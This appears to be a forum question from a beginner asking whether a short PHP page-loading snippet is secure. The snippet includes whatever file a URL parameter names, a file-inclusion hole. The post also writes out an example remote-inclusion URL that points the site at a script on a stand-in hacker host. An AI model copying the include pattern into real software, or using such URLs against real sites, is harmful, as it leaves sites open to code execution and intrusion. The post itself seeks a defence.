Can anyone please tell me if my PHP code secure or if there are holes in it? Is it vulnerable to hackers?
<?php
$news = "news.php";
$ext = ".php";
if(!isset($GET['index'])){
include $news;
}
elseif(isset($GET['index']) && file_exists($GET['index'].$ext)){
include $GET['index'].$ext;
}
?>
If it is can anyone please tell me a code that will do the same thing but has no holes or vulnerability in it. I want my web site to be able to open up my news page on the index, but than be able to change when I go to another page while keeping the layout the same
Is their a way to prevent only my website to be able to access files. For example, my hypothetical site url is http://www.FOOD.com and if I like to a page on my site it would be done like this: http://www.FOOD.com/index.php?page=pizza, with pizza.php being my page that I'm calling.
I know that with this url "http://www.FOOD.com/index.php?page"= you can call other websites as well, and this leads to vulnerability against hackers. How can I restrict it from calling an external page? Because hackers can type in a url such as the following: http://www.FOOD.com/index.php?page=http://www.THEHACKER.com/thehackingscript
and be able to flood your system or whatever.